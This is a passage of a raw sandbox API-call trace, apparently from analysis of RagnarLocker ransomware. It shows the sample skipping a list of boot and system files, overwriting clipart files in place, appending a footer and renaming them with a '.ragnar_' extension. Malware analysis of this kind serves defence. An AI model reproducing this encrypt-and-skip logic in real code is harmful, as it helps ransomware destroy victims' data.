Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf")) returned 0x20 [0085.075] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.075] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15448) returned 1 [0085.075] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c4f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.075] GetProcessHeap () returned 0x580000 [0085.075] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.075] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.077] VirtualAlloc (lpAddress=0x0, dwSize=0x3c58, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.077] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.077] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3c58, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3c58, lpOverlapped=0x0) returned 1 [0085.078] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.078] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3c58, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.078] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3c58, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3c58, lpOverlapped=0x0) returned 1 [0085.078] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3c58, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.078] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.079] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3c58, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.079] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.079] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.079] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.079] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.079] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.079] GetProcessHeap () returned 0x580000 [0085.079] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.079] CloseHandle (hObject=0xf4) returned 1 [0085.079] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" [0085.079] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.ragnar_FD7BD9FC" [0085.079] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.080] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4238, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153313.WMF", cAlternateFileName="")) returned 1 [0085.080] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.080] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153313.WMF" | out: lpString1="J0153313.WMF") returned="J0153313.WMF" [0085.080] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned=".WMF" [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="autorun.inf") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="boot.ini") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="bootfont.bin") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="bootsect.bak") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="bootmgr") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="bootmgr.efi") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="bootmgfw.efi") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="desktop.ini") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="iconcache.db") returned 1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="ntldr") returned -1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="ntuser.dat") returned -1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="ntuser.dat.log") returned -1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="ntuser.ini") returned -1 [0085.080] lstrcmpiW (lpString1="J0153313.WMF", lpString2="thumbs.db") returned -1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.080] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.080] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf")) returned 0x20 [0085.081] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.081] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16952) returned 1 [0085.081] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x422f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.081] GetProcessHeap () returned 0x580000 [0085.081] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.081] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.083] VirtualAlloc (lpAddress=0x0, dwSize=0x4238, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.083] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.083] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4238, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4238, lpOverlapped=0x0) returned 1 [0085.084] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.084] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4238, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.084] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4238, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4238, lpOverlapped=0x0) returned 1 [0085.084] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4238, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.084] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.085] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4238, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.085] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.085] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.085] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.085] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.085] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.085] GetProcessHeap () returned 0x580000 [0085.085] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.085] CloseHandle (hObject=0xf4) returned 1 [0085.085] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" [0085.085] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.ragnar_FD7BD9FC" [0085.085] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.086] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4464, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153398.WMF", cAlternateFileName="")) returned 1 [0085.086] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.086] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153398.WMF" | out: lpString1="J0153398.WMF") returned="J0153398.WMF" [0085.086] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned=".WMF" [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="autorun.inf") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="boot.ini") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="bootfont.bin") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="bootsect.bak") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="bootmgr") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="bootmgr.efi") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="bootmgfw.efi") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="desktop.ini") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="iconcache.db") returned 1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="ntldr") returned -1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="ntuser.dat") returned -1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="ntuser.dat.log") returned -1 [0085.086] lstrcmpiW (lpString1="J0153398.WMF", lpString2="ntuser.ini") returned -1 [0085.087] lstrcmpiW (lpString1="J0153398.WMF", lpString2="thumbs.db") returned -1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.087] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf")) returned 0x20 [0085.087] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.087] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=17508) returned 1 [0085.087] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x445b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.087] GetProcessHeap () returned 0x580000 [0085.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.088] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.089] VirtualAlloc (lpAddress=0x0, dwSize=0x4464, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.089] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.089] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4464, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4464, lpOverlapped=0x0) returned 1 [0085.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.091] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4464, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.091] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4464, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4464, lpOverlapped=0x0) returned 1 [0085.091] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4464, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.091] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.091] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4464, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.091] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.091] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.091] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.091] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.092] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.092] GetProcessHeap () returned 0x580000 [0085.092] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.092] CloseHandle (hObject=0xf4) returned 1 [0085.092] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" [0085.092] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.ragnar_FD7BD9FC" [0085.092] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.092] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56478790, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x85d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0153508.WMF", cAlternateFileName="")) returned 1 [0085.092] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.092] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0153508.WMF" | out: lpString1="J0153508.WMF") returned="J0153508.WMF" [0085.092] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF") returned=".WMF" [0085.092] lstrcmpiW (lpString1="J0153508.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.092] lstrcmpiW (lpString1="J0153508.WMF", lpString2="autorun.inf") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="boot.ini") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="bootfont.bin") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="bootsect.bak") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="bootmgr") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="bootmgr.efi") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="bootmgfw.efi") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="desktop.ini") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="iconcache.db") returned 1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="ntldr") returned -1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="ntuser.dat") returned -1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="ntuser.dat.log") returned -1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="ntuser.ini") returned -1 [0085.093] lstrcmpiW (lpString1="J0153508.WMF", lpString2="thumbs.db") returned -1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.093] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.093] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf")) returned 0x20 [0085.094] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.094] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=34256) returned 1 [0085.094] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x85c7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.094] GetProcessHeap () returned 0x580000 [0085.094] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.094] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, 